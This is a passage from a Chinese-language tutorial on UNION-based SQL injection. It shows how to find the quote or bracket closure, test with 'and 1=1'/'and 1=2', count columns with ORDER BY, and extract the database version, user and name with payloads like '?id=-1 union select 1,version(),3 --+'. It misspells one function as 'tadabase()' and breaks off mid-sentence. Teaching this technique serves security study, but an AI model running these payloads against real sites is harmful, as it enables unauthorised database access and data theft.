基于联合查询的注入:
1.判断注入点及闭合方式
1)判断闭合方式
闭合方式有很多种,主要有以下几种 无闭合、'、"、')、")、))等情况
2)利用and 1=1 --+ 判断结果
举例 select * from user where id=1 and 1=1 --+ 结果和不加的一致
3)利用and 1=2 --+判断结果
举例 select * from user where id=1 and 1=2 --+ 结果和不加的完全相反
2.判断查询列数及回显位置
order by 数字 数字不能大于数据表种查询字段数量 如何判断出查询列数为4,则可以union select 1,2,3,4
3.union操作符
UNION操作符用于合并两个或多个SELECT语句的结果集。请注意,UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。 SQL UNION语法 SELECT column_n
4.获取数据库信息
1)数据库版本和当前连接用户 用version()函数,user()函数,例: ?id=-1 union select 1,version(),3 --+
2)获取数据库名 用tadabase()函数 ?id=-1 union select 1,database(),3 --+
3)获取表名 a.5.0以上版本利用information_schema数据库 union select x,x,group